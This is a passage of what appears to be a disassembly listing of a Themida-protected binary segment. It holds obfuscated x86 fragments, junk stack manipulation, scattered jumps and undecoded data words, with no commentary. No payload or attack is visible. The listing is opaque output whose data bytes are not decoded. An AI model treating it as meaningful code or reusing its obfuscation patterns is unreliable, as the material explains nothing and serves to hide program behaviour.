1704C0FEh, 5058C228h, 993415B0h, 0C32C6734h dd 0FFF48EE9h db 0FFh ; --------------------------------------------------------------------------- loc_522BB9: ; CODE XREF: Themida_:00520AF6j pop esp push dword ptr [esp] push dword ptr [esp] pop eax push ebx mov ebx, esp add ebx, 4 sub ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_513451 ; --------------------------------------------------------------------------- db 1 dd 986852E9h, 5A09D01Ch, 45D1E281h, 0E955380Dh, 0FFFF9D83h dd 0E924248Bh, 0FFFECB14h ; --------------------------------------------------------------------------- loc_522BF8: ; CODE XREF: Themida_:00510998j mov ecx, [esp] sub esp, 4 mov [esp], eax mov eax, esp jmp loc_515125 ; --------------------------------------------------------------------------- dd 81E6D15Fh, 10C8FBF6h, 0E9F72935h, 0FFFECB10h ; --------------------------------------------------------------------------- loc_522C18: ; CODE XREF: Themida_:0051BD7Aj mov ebx, eax pop eax sub ecx, ebx mov ebx, [esp] jmp loc_512518 ; --------------------------------------------------------------------------- db 4Ah, 0C1h, 0EAh dd 13EA8106h, 89025BF4h, 0F0895AD6h, 0E9C3015Eh, 0FFFFBDC7h dd 0DF87D3F7h, 0FF8450E9h, 14875DFFh, 3C895C24h, 4EC8124h dd 89000000h, 4832424h, 525F0424h, 0FF8F4FE9h, 395E68FFh dd 14890000h, 5B6CE924h, 0C681FFFFh, 258A2E1Fh, 0FF5EFEE9h dd 242C89FFh, 1B0A12BDh, 6EED811Eh, 311CA6E9h, 2434FFE8h dd 0FFF507E9h, 0E76855FFh, 5D1A6472h, 0E581DDF7h, 7451C3Ah dd 541FC581h, 0E5815017h, 20C144F1h, 0FFC586E9h db 0FFh ; --------------------------------------------------------------------------- loc_522CB1: ; CODE XREF: Themida_:0051509Dj add esp, 4 push eax jmp loc_51B6A9 ; --------------------------------------------------------------------------- dw 34FFh dd 54535824h, 83241C8Bh, 535604C4h, 0FFD148E9h, 2877B0FFh dd 24048BC6h, 4C481h, 0CBE90000h, 66FFFF1Fh, 8124048Bh dd 4ECh, 241C8900h, 0C381E389h, 4, 4EC81h, 34890000h, 4BE24h dd 0EB810000h, 7D456873h, 0BD55F329h, 114D55ABh, 12C8C581h dd 0EB016BF8h, 1C875E5Dh, 2C895C24h, 15E95424h, 81FFFF24h dd 477C4EBh, 81D3016Ah, 477C4C3h, 24148B6Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_51B261 ; --------------------------------------------------------------------------- loc_522D4F: ; CODE XREF: Themida_:0051C068j add esp, 4 sub eax, 7EC82F7Bh sub eax, ebx add eax, 7EC82F7Bh jmp loc_5137FA ; --------------------------------------------------------------------------- dw 0C5FEh dd 289CED80h, 4488E9EBh, 4805FFFFh, 0E917C210h, 0FFFF5C5Ah dd 2434FF59h, 4EC8158h, 0E9000000h, 0FFFF6360h ; --------------------------------------------------------------------------- loc_522D8C: ; CODE XREF: Themida_:0051322Aj push esi jmp loc_513435 ; --------------------------------------------------------------------------- dw 0F428h dd 5A2434FFh, 2804C483h, 24048BE3h, 0FF27D9E9h, 240C8BFFh dd 3104C483h, 0D5015DEAh, 4C5815Ah, 0E9000000h, 0FFFF3A7Fh dd 4C481h, 9C050000h, 10CCD64h, 649C2DE8h, 92E90CCDh db 56h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_522DD3: ; CODE XREF: Themida_:0051495Dj xor edi, 56E52A8h dec edi add edi, 2541C82h add edi, 0F7B6760Bh jmp loc_522707 ; --------------------------------------------------------------------------- db 89h dd 0FFE9240Ch, 41FFFEFAh, 157E9h, 4BB00h, 0F7E90000h db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_522E03: ; CODE XREF: Themida_:005175E7j xchg ebx, ecx inc ebx xchg ebx, ecx or ecx, 483D0A39h neg ecx push esi mov esi, 5DBF5E81h add ecx, esi pop esi sub edi, 9340BDh add edi, ecx jmp loc_52286E ; --------------------------------------------------------------------------- loc_522E26: ; CODE XREF: Themida_:0051053Dj ; Themida_:00521974j push ecx push esp jmp loc_5219C3 ; --------------------------------------------------------------------------- loc_522E2D: ; CODE XREF: Themida_:00510A7Fj push ecx mov ecx, esp add ecx, 4 jmp loc_51388C ; --------------------------------------------------------------------------- loc_522E3B: ; CODE XREF: Themida_:00522A8Dj and ebx, 22E4445Ch jmp loc_5128DD ; --------------------------------------------------------------------------- dw 0E6D0h dd 20FEF680h, 0E4C05AF4h, 0ABB15103h, 0FEDE9AE9h db 0FFh ; --------------------------------------------------------------------------- loc_522E59: ; CODE XREF: Themida_:0051F2C9j pop eax pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_516314 ; --------------------------------------------------------------------------- db 58h dd 4B850h, 14E90000h, 89FFFF09h, 4B9240Ch, 51000000h, 0FFA152E9h dd 86D3F6FFh, 0D38853DAh, 2404FE53h, 0DC88505Bh, 5B58E288h dd 0F280E2D0h, 0E9D0288Bh, 0FFFFCE78h ; --------------------------------------------------------------------------- loc_522EA8: ; CODE XREF: Themida_:0051D432j mov [esp], ecx push 36DCh mov [esp], esi push eax mov eax, 476F2FA0h sub esp, 4 mov [esp], eax jmp loc_51F74C ; --------------------------------------------------------------------------- dd 8EEC146h, 35FDBB53h, 2EE90662h, 28000017h, 0AE38E9F0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_522EDA: ; CODE XREF: Themida_:0051B95Aj mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_520735 ; --------------------------------------------------------------------------- loc_522EF0: ; CODE XREF: Themida_:0051AB41j pop edx add edi, 0B798846Bh xor ecx, edi pop edi sub edx, 27112A67h add edx, ecx push eax jmp loc_524D21 ; --------------------------------------------------------------------------- loc_522F08: ; CODE XREF: Themida_:0051487Cj sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edi mov edi, 6390599Ah push ebx jmp loc_517E36 ; --------------------------------------------------------------------------- db 0F7h, 0D5h, 55h dd 48B5D50h, 0EA93E924h, 483FFFEh, 575B0424h, 0B72A2ABFh dd 6E7C169h, 71FBE94Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_522F3E: ; CODE XREF: Themida_:0051DA3Dj push eax push ecx push esi mov esi, 0CE903D8h mov ecx, esi pop esi mov eax, ecx jmp loc_51F09A ; --------------------------------------------------------------------------- dd 0C286C181h, 0EB81F862h, 10584BC8h, 0C381CB29h, 10584BC8h dd 81240C8Bh, 4C4h, 9760E900h, 895CFFFFh, 4832424h, 0B6E90424h dd 83FFFFA5h, 0C8904ECh, 47BA6824h, 2C890000h, 6119E924h dd 0C381FFFFh, 508A55CFh, 112CC381h, 48E94A0Dh, 8B000019h dd 0C5E92424h, 89FFFFEBh, 4C781E7h, 81000000h, 4C7h, 243C8700h dd 0FFAF52E9h, 9C5166FFh, 0FEC743E9h, 48B66FFh, 4EC8124h dd 89000000h, 65E9242Ch, 5DFFFFD6h, 261B850h, 0E8C1026Ch dd 0A5254006h, 48149274h, 2FFE2Dh, 34EB8100h, 294CC31Dh dd 34C381C3h, 8B4CC31Dh, 0C4812404h, 4, 10CFF381h, 0D831C601h dd 0E9241C8Bh, 0FFFF5247h ; --------------------------------------------------------------------------- loc_523018: ; CODE XREF: Themida_:00521FCDj push edx push ebp pop edx mov ecx, edx jmp loc_51FB74 ; --------------------------------------------------------------------------- dw 0ED80h dd 17C58088h, 0FEE702E9h, 1C77FFFFh, 6659669Dh, 9C2414D3h dd 0FED02EE9h db 0FFh ; --------------------------------------------------------------------------- loc_52303D: ; CODE XREF: Themida_:00520DFAj pop edx add eax, 0C4A5D098h add ebp, eax pop eax xchg ebp, [esp] pop esp shl word ptr [esp], cl pushf jmp loc_50F70C ; --------------------------------------------------------------------------- dd 5251D088h, 1ABA68h, 0ED38E900h, 0E952FFFEh, 0FFFEDEA9h dd 0C775D905h, 2DF02949h, 49C775D9h, 4D2D8E2Dh, 5155560Ch dd 0C94C3968h, 18E95971h, 89FFFF7Eh, 0CC882404h, 8B58E788h dd 0C481240Ch, 4, 1846E952h, 0F7800000h, 5BFE00D4h, 8324048Bh dd 0B35304C4h, 5BDE30F6h, 2FAA68h, 240C8900h, 80A5B353h dd 0D98883C3h, 0C1C6805Bh, 0EE80CE28h, 240C8BC1h, 0FF28C4E9h dd 0C3815CFFh, 2A0D522Ah, 0B951EB01h, 2A0D522Ah, 5D59CB29h dd 6804C383h, 483h, 0FF241C89h, 0E9042474h, 0FFFFE169h ; --------------------------------------------------------------------------- loc_5230F8: ; CODE XREF: Themida_:00510EE8j pop esp jmp loc_521DB5 ; --------------------------------------------------------------------------- dw 487h dd 10E95C24h, 81FFFF53h, 790447C6h, 40A4686Fh, 1C890000h dd 3731BB24h, 0D3F775DAh, 2D81CB81h, 0F3812662h, 66D348AEh dd 15A2CB81h, 0E8E93484h, 4AFFFF43h, 4EC81h, 14E90000h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_52313F: ; CODE XREF: Themida_:005210BDj pop edi xchg ebp, [esp] mov esp, [esp] or edx, eax shl edx, 1 push dword ptr [edi+24h] push edi push 3A11h mov [esp], ebp jmp loc_5108CA ; --------------------------------------------------------------------------- loc_52315B: ; CODE XREF: Themida_:00517271j push eax mov eax, 0D551DDDBh sub ebx, eax mov eax, [esp] add esp, 4 sub edx, 25F21AAh sub edx, ebx add edx, 25F21AAh mov ebx, [esp] add esp, 4 jmp loc_5172F0 ; --------------------------------------------------------------------------- loc_523188: ; CODE XREF: Themida_:005180EDj push eax pushf jmp loc_50F70C ; --------------------------------------------------------------------------- loc_52318F: ; CODE XREF: Themida_:0051CD6Ej xor dword ptr [esp], 6DAF5809h jmp loc_524C43 ; --------------------------------------------------------------------------- db 0C1h dd 0EB8103EBh, 0BB3AFAE6h, 0E95BD901h, 0FFFF2AC4h, 39E9D301h db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5231B3: ; CODE XREF: Themida_:0051538Dj push 7109h mov [esp], eax jmp loc_520420 ; --------------------------------------------------------------------------- loc_5231C0: ; CODE XREF: Themida_:00519CAAj mov edx, ecx pop ecx jmp loc_51C91D ; --------------------------------------------------------------------------- dd 1D612558h, 0E4E9698Eh, 89FFFF2Ah, 4C581E5h, 83000000h dd 2C8704EDh, 1C895C24h, 4EC8324h, 0FF9AA6E9h, 0EDC05BFFh dd 80DDF602h, 7DE95BEDh, 0BEFFFF37h, 32547B7Ah, 3232E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_523206: ; CODE XREF: Themida_:0051A2C8j add ebx, 4 add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp add eax, 0F316FC2Ah add ebp, eax pop eax xchg ebp, [esp] pop esp rol word ptr [esp], cl pushf jmp loc_520B6C ; --------------------------------------------------------------------------- loc_52322F: ; CODE XREF: Themida_:0051DF57j pop eax loc_523230: ; CODE XREF: Themida_:005138E3j push 4009h mov [esp], edi jmp loc_5113AA ; --------------------------------------------------------------------------- db 0C1h, 0E9h, 6 dd 0FF14D0E9h db 0FFh ; --------------------------------------------------------------------------- loc_523245: ; CODE XREF: Themida_:00524B45j push dword ptr [esp] pop eax push ebp mov ebp, esp add ebp, 4 jmp loc_519FE1 ; --------------------------------------------------------------------------- db 5 dd 4, 8704C083h, 0B9E92404h, 0B9FFFFA0h, 6D102B46h, 3102E981h dd 0E2E9262Ah, 5E000018h, 674FC381h, 0C3011C5Ah, 674FEB81h dd 33581C5Ah, 1C31241Ch, 241C3324h, 0FF24248Bh, 93E92434h dd 21FFFEF3h, 243C8BF8h, 8104C483h, 4ECh, 82E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5232AE: ; CODE XREF: Themida_:005228B5j pop ebx mov [edi+38h], ah mov eax, [esp] add esp, 4 jmp loc_521E07 ; --------------------------------------------------------------------------- db 81h, 2 dup(0E2h) dd 817CD00Ch, 4F2h, 5AD10100h, 0AC65E953h, 0FF52FFFFh dd 5A042474h, 5C24048Fh, 54240489h, 8124048Bh, 4C4h, 80E95600h db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5232EF: ; CODE XREF: Themida_:0051A29Aj mov esi, esp add esi, 4 jmp loc_51DE33 ; --------------------------------------------------------------------------- dd 33243C31h, 248B243Ch, 14896624h, 9C506624h, 0FF09D9E9h db 0FFh ; --------------------------------------------------------------------------- loc_523311: ; CODE XREF: Themida_:00511CE9j mov esp, [esp] mov esi, [esp] add esp, 4 push ebx jmp loc_521075 ; --------------------------------------------------------------------------- dd 8B2434FFh, 0C4812404h, 4, 0FF11AAE9h db 0FFh ; --------------------------------------------------------------------------- loc_523331: ; CODE XREF: Themida_:00519C18j pop dword ptr [esp] pop esp add [esp], ax pushf jmp loc_511FBB ; --------------------------------------------------------------------------- loc_52333F: ; CODE XREF: Themida_:0051F4A5j push 5F1A1A3Fh mov ecx, [esp] add esp, 4 push eax mov eax, 3B742F29h add ecx, eax pop eax jmp loc_5113D2 ; --------------------------------------------------------------------------- dd 5D2414F7h, 612EF581h, 0F58136EEh, 1B223192h, 6EF8E581h dd 0FBE96D2Dh db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_523373: ; CODE XREF: Themida_:005202D4j dec esi inc esi neg esi jmp loc_51F5C2 ; --------------------------------------------------------------------------- dd 5BBEEA81h, 84E9A60Ch, 5DFFFFF0h, 19ECF581h, 5855F03Eh dd 58C2895Dh, 5683BF57h, 0DFF733E8h, 2E5EF81h, 0C7817FC7h dd 38012D7Bh, 7267EF81h, 0D7F755CEh, 0F781DFF7h, 66464CABh dd 0FF502AE9h, 48F58FFh, 34895C24h, 1869BE24h, 0EC817AA0h dd 4, 0FF72E7E9h, 0E1C380FFh, 0EB80C300h, 51C380E1h, 52F8EB80h dd 0EA8072B2h, 0E6CA8099h, 0F965E953h, 0C89FFFEh, 0F267E924h dd 8B66FFFFh, 8953240Ch, 4C381E3h, 83000000h, 0EFE904EBh dd 29FFFEDFh, 14875FFAh, 24248B24h, 0FF242C89h, 8B042474h dd 0C481242Ch, 4, 0E924048Fh, 0FFFFC54Fh, 4805E0C1h, 7FCABE56h dd 0F75638FFh, 34FF241Ch, 0C4835E24h, 89ABE904h, 8EBBFFFFh dd 43572551h, 0FEDF38E9h, 7CED81FFh, 81098E5Dh, 0BF323BC5h dd 5DE92900h, 7680E981h, 18863F5h, 0E92434FFh, 0FFFED8BEh dd 0E95B2E2Ch, 0FFFF8292h ; --------------------------------------------------------------------------- loc_52347C: ; CODE XREF: Themida_:00520EBEj mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_511011 ; --------------------------------------------------------------------------- dd 5159CE08h, 0D5F6CFB5h, 0CDFEC5FEh, 0FF6997E9h, 2E1C1FFh dd 0E981E9D1h, 0D3E5C72Eh, 0FFC43FE9h, 1CC380FFh, 0FFC38059h dd 20D2C380h, 0F2805BDAh, 0BDF2803Ah, 0E95AD028h, 0C20h dd 3A4FC581h, 0C501113Ah, 0FEC38AE9h, 243C89FFh, 3BA168h dd 2158E900h, 70B0FFFFh, 5866C328h, 53C4B450h, 0DFF6D0B7h dd 0F1D9E951h, 835AFFFEh, 148904ECh, 4BA24h, 5DE90000h db 5Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_523507: ; CODE XREF: Themida_:0051A96Bj mov [esp], ebp push edi mov edi, 456043A4h inc edi inc edi not edi push edx mov edx, 456043A8h add edi, edx pop edx push edi jmp loc_514F9B ; --------------------------------------------------------------------------- loc_523523: ; CODE XREF: Themida_:005144E8j pop eax add esp, 4 push ebx sub esp, 4 mov [esp], esp jmp loc_514C3C ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 0FEEF66E9h db 0FFh ; --------------------------------------------------------------------------- loc_523541: ; CODE XREF: Themida_:00513001j push esp pop dword ptr [esp] add dword ptr [esp], 4 pop edx push eax mov eax, 55DF3AE1h jmp loc_514881 ; --------------------------------------------------------------------------- loc_523555: ; CODE XREF: Themida_:0051B07Cj push 3EED3196h pop ecx jmp loc_512F9D ; --------------------------------------------------------------------------- dd 0BE565D54h, 27C9766Fh, 1EE81h, 0F6810000h, 27C9766Ah dd 7344B951h, 0ED817943h, 2E382043h, 0C581CD01h, 2E382043h dd 68F50159h, 1AC7h, 56240C89h, 0DE1F9EBEh, 5E84E94Ch dd 5868FFFFh, 0E9255903h, 0FFFF6EEFh ; --------------------------------------------------------------------------- loc_5235A8: ; CODE XREF: Themida_:005187BEj mov [esp], ebp jmp loc_523F8C ; --------------------------------------------------------------------------- loc_5235B0: ; CODE XREF: Themida_:005229E7j push eax push edi push 85B56E4h pop edi or edi, 704F4AAAh dec edi xor edi, 59964738h sub dword ptr [esp+4], 1B8E133Dh jmp loc_51A809 ; --------------------------------------------------------------------------- dw 34B8h dd 0F75DB530h, 353405D8h, 88E943B7h, 83FFFFC8h, 3C8704C7h dd 0EAE95C24h, 52FFFEC8h, 852F1268h, 0C2815A0Ah, 35D77244h dd 0E904EAC1h, 0FFFFDACFh, 0D0F7485Bh, 0FF4805E9h, 4C581FFh dd 83000000h, 2C8704C5h, 0EC815C24h, 4, 0E9243C89h, 0FFFFCB8Dh dd 52BE5658h, 682A954Fh, 0 dd 5E243429h, 716C681h, 0E6C152E3h, 0E6CE8103h, 8153733Bh dd 0CE4A1F6h, 0BEE8104h, 8116425Ah, 0D75552C6h, 9447E9DDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_52365E: ; CODE XREF: Themida_:00518CADj push eax mov eax, edx mov ebp, eax pop eax pop edx mov ebx, ebp pop ebp push edx mov edx, ebx mov eax, edx pop edx pop ebx pop edi push 705Fh jmp loc_51FC9F ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48324h, 30BDB55Ah, 24048BC5h, 5204C483h, 0F48876B6h dd 8BEC005Ah, 8956240Ch, 4C681E6h, 0E9000000h, 0FFFF8716h ; --------------------------------------------------------------------------- loc_5236A4: ; CODE XREF: Themida_:00521C36j xor dword ptr [esp], 3C0F2045h jmp loc_515CD1 ; --------------------------------------------------------------------------- dd offset dword_450050+2A118h dd 24248900h, 4240481h, 5E000000h, 0FFEF29E9h, 0E9C101FFh dd 0FFFF27EAh ; --------------------------------------------------------------------------- loc_5236CC: ; CODE XREF: Themida_:00523FB3j pop eax push ebp jmp loc_516284 ; --------------------------------------------------------------------------- db 8Bh dd 0C483242Ch, 0F744E904h, 0BD55FFFEh, 632225F4h, 0FFE9AEE9h dd 7E9C0FFh, 0FF50FAE9h db 0FFh ; --------------------------------------------------------------------------- loc_5236F1: ; CODE XREF: Themida_:005239E7j pop edi dec ebp push edx mov edx, 50DE327Eh sub ebp, edx jmp loc_517531 ; --------------------------------------------------------------------------- dd 9AE9EB21h db 0Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_523707: ; CODE XREF: Themida_:00520212j add edi, edx sub edi, 4FE62F07h pop edx push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] shr ebp, 5 add ebp, 9ECA5BAh sub edi, ebp jmp loc_51227A ; --------------------------------------------------------------------------- dd 8358C501h, 0B76802C5h, 89000064h, 74FF242Ch, 0FCE90424h dd 0FFFFFEC9h, 0E9042474h, 0FFFF845Ah, 4C281h, 0C2830000h dd 0AEA3E904h, 0E089FFFFh, 73A368h, 240C8900h, 0FFBB08E9h dd 4EC83FFh, 0B2241489h, 66D2F638h, 667E3868h, 0B3241C89h dd 18D4E91Ah, 0E801FFFFh, 0FEF3A3E9h, 8BC300FFh, 18E92404h dd 59FFFF28h, 2414335Dh, 33241431h, 248B2414h, 242CD224h dd 0BF62E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5237AA: ; CODE XREF: Themida_:00520751j jmp loc_50F70C ; --------------------------------------------------------------------------- loc_5237AF: ; CODE XREF: Themida_:00512703j add edi, 4 jmp loc_51FEB0 ; --------------------------------------------------------------------------- db 0F6h aAK db '׀NJ',0 db 0F8h, 5Bh, 0E9h dd 0FFFF51D1h, 5EE95266h, 8FFFFF70h, 39E94047h db 0BFh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5237D3: ; CODE XREF: Themida_:0051320Bj mov [esp], cx mov ch, 46h add bl, ch mov cx, [esp] add esp, 2 jmp loc_520671 ; --------------------------------------------------------------------------- db 0BDh dd 410909E6h, 0FF5B29E9h db 0FFh ; --------------------------------------------------------------------------- loc_5237F1: ; CODE XREF: Themida_:00514841j sub esp, 4 jmp loc_5202C5 ; --------------------------------------------------------------------------- loc_5237FC: ; CODE XREF: Themida_:00522844j add edi, ecx jmp loc_51F73E ; --------------------------------------------------------------------------- db 66h dd 6824048Bh, 5AB5h, 68240489h, 6F4Fh, 83242489h, 0E9042404h dd 0FFFEDBF0h, 0C281E289h, 4, 4BB53h, 0DA010000h, 78E9525Bh dd 0BAFFFEFCh, 295C1265h, 295AD689h, 24348BF3h, 104C483h dd 65C381F3h, 5E295C12h, 0FFDAF8E9h db 0FFh ; --------------------------------------------------------------------------- loc_523855: ; CODE XREF: Themida_:00514303j mov ecx, 30FD1222h sub ecx, 28D436A0h add ecx, esi add ecx, 28D436A0h pop esi push eax mov eax, 0 sub eax, ecx jmp loc_5244B6 ; --------------------------------------------------------------------------- dw 8B66h dd 0EC83240Ch, 24048904h, 4055854h, 68000000h, 514h, 50243C89h dd 0E1EE9h, 0E9CA0900h, 0FFFF2AB0h, 1FB4E781h, 0EF81735Dh dd 3A5945B6h, 220BEF81h, 0B85014A8h, 1AE10975h, 5358C731h dd 6147BA52h, 0E99245A9h, 0FFFFC22Fh, 546FF5BDh, 5DEB2965h dd 5D2434FFh, 4C481h, 0FF530000h, 5B042474h, 5C24048Fh dd 240C8B66h, 4EC8356h, 0FFCD0AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5238ED: ; CODE XREF: Themida_:0051B6F0j xor ebx, 44C104C1h and ebx, 593D1DDDh inc ebx jmp loc_5109E8 ; --------------------------------------------------------------------------- db 83h dd 5E042404h, 4B951h, 0CE010000h, 0E92434FFh, 0FFFEBF2Ah dd 0E95AD101h, 0FFFF8D93h, 68240C89h, 3806336Dh, 83240C8Bh dd 0E94904C4h, 0FFFFF331h ; --------------------------------------------------------------------------- loc_523930: ; CODE XREF: Themida_:0051104Fj mov [esp], ebx push dword ptr [esp] mov ecx, [esp] push esi jmp loc_516931 ; --------------------------------------------------------------------------- db 66h dd 57240C8Bh, 0C781E789h, 4, 0FFC9F8E9h, 1CB951FFh, 3125026Bh dd 2434FFCAh, 4C48359h, 52555742h, 0FFFC35E9h, 24148BFFh dd 51E38953h, 45A7B850h, 0A335635Fh, 0E9635F45h, 0FFFF8D5Dh dd 5CA3E981h, 0C101336Ah, 5CA3C181h, 0E957336Ah, 0FFFECAC9h ; --------------------------------------------------------------------------- loc_523994: ; CODE XREF: Themida_:00521B8Bj sub esi, 20155BAAh and esi, 581F5F1Ch jmp loc_51E931 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 4 jmp loc_51589C ; --------------------------------------------------------------------------- dd 52240489h, 3C4B68h, 240C8900h, 0D928E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5239C6: ; CODE XREF: Themida_:00524B54j push 16F40622h jmp loc_520EC3 ; --------------------------------------------------------------------------- loc_5239D0: ; CODE XREF: Themida_:00520DCAj add esp, 4 add esp, 4 add esp, 4 push edi mov edi, 9C90FAAh add ebp, edi jmp loc_5236F1 ; --------------------------------------------------------------------------- loc_5239EC: ; CODE XREF: Themida_:005197F3j sub ebp, 4 xchg ebp, [esp] jmp loc_51656A ; --------------------------------------------------------------------------- dw 0DE01h dd 0FF9CA9E9h, 0E9E589FFh, 0FFFFD12Bh, 0B72BF57h, 0CF810904h dd 6660517Eh, 0EF81DFF7h, 45CA7F6Ah, 0CF81DFF7h, 0CDC1160h dd 86E7814Fh, 81320A0Dh, 0CD040CEFh, 5FF901C5h, 0FF113AE9h dd 1C683FFh, 5DE6EE81h, 0EEC15F7Fh, 0CEF68103h, 89643826h dd 2434FFF1h, 4C4815Eh, 0C7000000h, 24083842h, 6AC14D8Fh dd 0D0E90838h, 29FFFF53h, 0C58159CAh, 7AA2280Ah, 0FF22F2E9h db 0FFh ; --------------------------------------------------------------------------- loc_523A75: ; CODE XREF: Themida_:0052092Cj shr ebx, 8 dec ebx push 32CBh mov [esp], esi mov esi, 62DE6360h push ecx mov ecx, 761A2490h add ebx, ecx pop ecx add ebx, esi jmp loc_518283 ; --------------------------------------------------------------------------- loc_523A96: ; CODE XREF: Themida_:00511CC5j pop esp pop dword ptr [esp] mov esp, [esp] jmp loc_521737 ; --------------------------------------------------------------------------- dw 0FF54h dd 34FF2434h, 24148B24h, 0E904C483h, 0FFFF5F19h, 0E9241C8Bh dd 0FFFFCC20h, 83243C89h, 248904ECh, 0F93BE924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_523ACA: ; CODE XREF: Themida_:0051CEFBj pop ecx jmp loc_51BB16 ; --------------------------------------------------------------------------- loc_523AD0: ; CODE XREF: Themida_:0050F995j add ebp, 4 jmp loc_519212 ; --------------------------------------------------------------------------- loc_523ADB: ; CODE XREF: Themida_:00518E32j pop esi push eax mov eax, 20EF6FEAh neg eax jmp loc_522B55 ; --------------------------------------------------------------------------- loc_523AE9: ; CODE XREF: Themida_:00521416j not dword ptr [esp] pop ebp sub ebp, 84242C0Ch add edi, ebp push dword ptr [esp] pop ebp add esp, 4 push ebx mov ebx, 0C6519D8h neg ebx add ebx, 630C78A9h sub edi, ebx pop ebx jmp loc_5222BA ; --------------------------------------------------------------------------- dw 8143h dd 7C8DF5C3h, 0E9DA01A0h, 0FFFFD0E3h, 89242C89h, 4C581E5h dd 83000000h, 2C8704C5h, 482E924h, 4890000h, 31A9B824h dd 2B050EB7h, 89199E35h, 21E958C1h, 89FFFFCAh, 0BE565DEAh dd 16B046A2h, 18E9D6F7h, 5300000Dh, 0DC88EB88h, 8BE6885Bh dd 0CE92404h, 89FFFFDCh, 0E2892414h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp mov ebp, 398602ACh sub ebp, 30731444h push edi jmp loc_524EDE ; --------------------------------------------------------------------------- loc_523B97: ; CODE XREF: Themida_:005137C6j sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebp push edx mov edx, 6B005DD7h mov ebp, edx pop edx add edi, ebp mov ebp, [esp] add esp, 4 neg edi add edi, 14AC70DCh sub edi, 1D1B1DB6h sub edi, 44DB4E06h xor ebp, edi mov edi, [esp] add esp, 4 jmp loc_521C9D ; --------------------------------------------------------------------------- dw 0A705h dd 0E92AC169h, 0FFFEBB2Ch, 5812E6BFh, 0FACF8173h, 0C10F4B12h dd 814703EFh, 82666DE7h, 2C456870h, 2C890000h, 72CFBD24h dd 0D5E93373h, 68FFFED5h, 17E4h, 68241C89h, 2A4Ah, 0B9240C89h dd 0FEh, 0FE69E955h, 0C89FFFEh, 57595424h, 0FF1A34E9h dd 4EE95EFFh, 81FFFFC5h, 0BFC818F5h, 5DEA2956h, 0ACFBEA81h dd 0E0E9AEE9h, 81FFFFF0h, 0DB22BCEEh, 81CE0121h, 0DB22BCC6h dd 2434FF21h, 4C48359h, 495568h, 240C8900h, 2B9h, 59CE0100h dd 2474FF56h, 24348B04h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_51A0C3 ; --------------------------------------------------------------------------- dd 0E955525Dh, 0FFFEC21Bh ; --------------------------------------------------------------------------- loc_523C90: ; CODE XREF: Themida_:0051A6FBj pop ebx sub ebx, 19657DBCh push ebx pop edx pop ebx jmp loc_517A51 ; --------------------------------------------------------------------------- loc_523C9F: ; CODE XREF: Themida_:00515413j pop esi add esp, 4 push esi mov esi, esp jmp loc_513B80 ; --------------------------------------------------------------------------- db 0FFh dd 5A042474h, 8B24048Fh, 26E92424h db 54h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_523CBB: ; CODE XREF: Themida_:005141ACj add esp, 4 xor ebx, eax mov eax, [esp] jmp loc_51BC70 ; --------------------------------------------------------------------------- dd 0C97E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_523CCE: ; CODE XREF: Themida_:00514C75j push eax push dword ptr [esp+4] mov eax, [esp] jmp loc_513588 ; --------------------------------------------------------------------------- loc_523CDB: ; CODE XREF: Themida_:0051C496j add esp, 4 jmp loc_51EBCD ; --------------------------------------------------------------------------- loc_523CE3: ; CODE XREF: Themida_:00518BFCj add ebx, 79101FE9h pop ecx push ebx push ebx mov ebx, esp add ebx, 4 push eax mov eax, 7A302AD1h sub eax, 16E81B75h sub eax, 694C05ACh add eax, 603F654h jmp loc_522B02 ; --------------------------------------------------------------------------- dw 5DBEh dd 291EAE2Fh, 8E95EF0h db 68h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_523D1B: ; CODE XREF: Themida_:0051FFD3j sub ebp, 4B274164h mov esi, [esp] jmp loc_5102C4 ; --------------------------------------------------------------------------- db 31h, 3Ch, 24h dd 5C243C33h, 0FF62F1E9h, 0FFE883FFh, 0E950D0F7h, 0FFFEF3BEh dd 240C8B66h, 0E9E38953h, 0FFFF2B7Fh ; --------------------------------------------------------------------------- loc_523D4C: ; CODE XREF: Themida_:00517E3Dj push dword ptr [esp] jmp loc_517F09 ; --------------------------------------------------------------------------- dd 0B53E205h, 0B210E952h, 34FFFFFFh, 2434FF24h db 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 